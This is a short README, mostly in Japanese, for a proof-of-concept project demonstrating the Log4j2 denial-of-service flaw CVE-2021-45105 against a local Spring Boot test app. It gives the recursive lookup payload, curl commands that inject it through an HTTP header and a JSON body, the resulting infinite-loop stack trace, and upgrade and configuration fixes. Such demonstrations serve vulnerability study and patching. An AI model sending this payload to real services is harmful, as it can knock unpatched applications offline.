
Spring Boot Web アプリを使用した CVE-2021-45105 (Log4j2 DOS) の PoC エクスプロイト。巧妙に細工された HTTP ヘッダー/ボディのペイロードによる無限ループを実証します。
${${::-${::-$${::-$}}}}
このアプリケーションは、CVE-2021-45105 の脆弱性がある Spring Boot Web アプリケーションに基づいています。
これは Log4j 2.16.0 を使用しています。

実行:
Import the project in Java IDE as a maven project
Run CVEMainApplication.java as a spring boot app.
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'
For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
"clientRef": "${${::-${::-$${::-$}}}}"
}'
${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
Java 8(以降)のユーザーはリリース 2.17.0 にアップグレードする必要があります。
または、設定で緩和できます:
ログ設定の PatternLayout で、${ctx:loginId} や $${ctx:loginId} のような Context Lookups をスレッドコンテキストマップパターン(%X、%mdc、%MDC)に置き換えてください。
あるいは、設定内で、HTTP ヘッダーやユーザー入力などアプリケーション外のソースから発信される ${ctx:loginId} や $${ctx:loginId} のような Context Lookups への参照を削除してください。